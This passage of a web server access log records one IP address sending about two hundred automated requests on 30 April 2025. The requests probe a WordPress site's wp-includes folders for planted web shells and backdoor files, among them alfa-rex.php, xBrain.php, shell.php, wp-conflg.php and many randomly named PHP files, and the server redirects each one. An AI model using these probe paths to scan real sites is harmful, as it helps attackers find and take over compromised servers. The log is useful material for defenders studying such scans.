/wp-includes/7kGBWef4vJE.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:27 -0400] "GET /wp-includes/7tc9J8MbNDP.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:28 -0400] "GET /wp-includes/849MWReQf5d.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:29 -0400] "GET /wp-includes/85YZsyCUMRH.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:30 -0400] "GET /wp-includes/8XnPa2ebzjt.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:31 -0400] "GET /wp-includes/8a1GFlXOC3W.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:32 -0400] "GET /wp-includes/95GjR2oLVAq.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:34 -0400] "GET /wp-includes/9KclI8whVCt.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:36 -0400] "GET /wp-includes/9KoYaRW2ViG.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:38 -0400] "GET /wp-includes/9hloDMCajiE.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:40 -0400] "GET /wp-includes/9wHCYkXhFat.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:41 -0400] "GET /wp-includes/ADdHqTvWe2p.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:43 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:44 -0400] "GET /wp-includes/AYWw86V4lCb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:45 -0400] "GET /wp-includes/Ab5tdXYSp3m.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:45 -0400] "GET /wp-includes/AeLiyXCsWRP.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:46 -0400] "GET /wp-includes/Am8DjQ1hYCM.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:46 -0400] "GET /wp-includes/BNdZcrqfp96.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:47 -0400] "GET /wp-includes/BSKlRtNkd7T.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:48 -0400] "GET /wp-includes/BW78qubSIi6.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:49 -0400] "GET /wp-includes/BibpeUT6Srj.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:49 -0400] "GET /wp-includes/BlANITrsFn8.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:50 -0400] "GET /wp-includes/C7aqylzu2vp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:52 -0400] "GET /wp-includes/CQ3u7inwjcm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:54 -0400] "GET /wp-includes/CWOqpEgKZFG.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:32:58 -0400] "GET /wp-includes/CZVFJ1iETu9.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:00 -0400] "GET /wp-includes/Cla7mpMXqtZ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:02 -0400] "GET /wp-includes/Cpg5hsHwVa3.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:04 -0400] "GET /wp-includes/CqPtQH6xgFv.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:04 -0400] "GET /wp-includes/D2a4qMfz8OV.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:07 -0400] "GET /wp-includes/D3XbzaLTdoy.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:09 -0400] "GET /wp-includes/DBb75TX4aSq.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:12 -0400] "GET /wp-includes/DbBih7UaJ18.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:14 -0400] "GET /wp-includes/DdWzLZVYfG4.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:16 -0400] "GET /wp-includes/DfO9S2sWQeR.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:17 -0400] "GET /wp-includes/E52uQzbthDP.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:18 -0400] "GET /wp-includes/E7caMueJAdD.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:18 -0400] "GET /wp-includes/EM2AyNLX1Zx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:19 -0400] "GET /wp-includes/EO2kroQhpUu.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:20 -0400] "GET /wp-includes/EoeIH4JmfTi.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:21 -0400] "GET /wp-includes/F8Jx6Xd2jpQ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:21 -0400] "GET /wp-includes/FBpLfr2oR3M.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:22 -0400] "GET /wp-includes/FRmiwXUtO2K.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:23 -0400] "GET /wp-includes/G3jIOZXasr7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:23 -0400] "GET /wp-includes/GahxXyLrlK3.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:24 -0400] "GET /wp-includes/GlRsTyKuOLA.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:25 -0400] "GET /wp-includes/H4PwluIEUzJ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:26 -0400] "GET /wp-includes/HJen2iTjI54.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:27 -0400] "GET /wp-includes/HdkrAtBgUxW.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:28 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:29 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:30 -0400] "GET /wp-includes/ID3/?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:31 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:32 -0400] "GET /wp-includes/ID3/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:33 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:34 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:35 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:36 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:36 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:37 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:38 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:39 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:41 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:43 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:46 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:47 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:49 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:51 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:52 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:53 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:54 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:55 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:56 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:57 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:57 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:33:59 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:00 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:01 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:02 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:03 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:04 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:05 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:06 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:06 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:07 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:08 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:11 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:11 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:12 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:13 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:14 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:15 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:16 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:17 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:18 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:18 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:19 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:20 -0400] "GET /wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:20 -0400] "GET /wp-includes/NCImtphZOK5.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:20 -0400] "GET /wp-includes/O5Z8Gyn4EIh.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:21 -0400] "GET /wp-includes/OYStpqjgDZ5.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:21 -0400] "GET /wp-includes/OhpfCSna9Vc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:22 -0400] "GET /wp-includes/OwG5LmjClXZ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:23 -0400] "GET /wp-includes/PBfZp95n2Ud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:23 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:24 -0400] "GET /wp-includes/PHPMailer//2222.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:25 -0400] "GET /wp-includes/PHPMailer//Ab0ut.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:25 -0400] "GET /wp-includes/PHPMailer//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:26 -0400] "GET /wp-includes/PHPMailer//indexx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:26 -0400] "GET /wp-includes/PHPMailer//themes-install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:28 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:28 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:29 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:30 -0400] "GET /wp-includes/PHPMailer/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:30 -0400] "GET /wp-includes/Q4TbrMq6sSk.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:30 -0400] "GET /wp-includes/Q8yL6j2i9zk.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:31 -0400] "GET /wp-includes/QLJoTSZn46j.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:32 -0400] "GET /wp-includes/QewG7L1lTkb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:32 -0400] "GET /wp-includes/QgfAohVSwD1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:33 -0400] "GET /wp-includes/Qj9rebE2xow.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:33 -0400] "GET /wp-includes/Qm9vKED1AXP.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:34 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:34 -0400] "GET /wp-includes/Requests//cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:35 -0400] "GET /wp-includes/Requests//hellodoyyl.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:35 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:36 -0400] "GET /wp-includes/Requests/Auth//images.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:36 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:37 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:37 -0400] "GET /wp-includes/Requests/Exception/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:38 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:38 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:39 -0400] "GET /wp-includes/Requests/Response//siteindex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:40 -0400] "GET /wp-includes/Requests/Response//wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:40 -0400] "GET /wp-includes/Requests/Response/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:40 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:41 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:42 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:42 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:43 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:44 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:44 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:45 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:45 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:46 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:46 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:47 -0400] "GET /wp-includes/SimplePie//f-index4.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:47 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:48 -0400] "GET /wp-includes/SimplePie/Cache//cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:48 -0400] "GET /wp-includes/SimplePie/Cache/Hash.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:49 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:50 -0400] "GET /wp-includes/SimplePie/Content//makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:51 -0400] "GET /wp-includes/SimplePie/Content/Type//themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:52 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:53 -0400] "GET /wp-includes/SimplePie/Content/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:54 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:55 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:55 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:56 -0400] "GET /wp-includes/SimplePie/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:57 -0400] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:57 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:58 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:34:59 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:00 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:01 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:02 -0400] "GET /wp-includes/SimplePie/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:02 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:04 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:05 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:05 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:07 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:10 -0400] "GET /wp-includes/Text/Diff/Engine//shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:11 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:13 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:14 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:15 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:17 -0400] "GET /wp-includes/Text/Diff/Renderer/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:18 -0400] "GET /wp-includes/Text/Diff/Renderer/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:20 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:20 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:21 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:22 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:22 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:23 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:24 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:24 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:25 -0400] "GET /wp-includes/Text/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:26 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:27 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:29 -0400] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:29 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:30 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:31 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:32 -0400] "GET /wp-includes/assets//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:33 -0400] "GET /wp-includes/assets//classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:33 -0400] "GET /wp-includes/assets//cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:34 -0400] "GET /wp-includes/assets//wp-access.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:35 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:36 -0400] "GET /wp-includes/assets/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:36 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:37 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:38 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:40 -0400] "GET /wp-includes/assets/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:41 -0400] "GET /wp-includes/assets/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:41 -0400] "GET /wp-includes/assets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:43 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 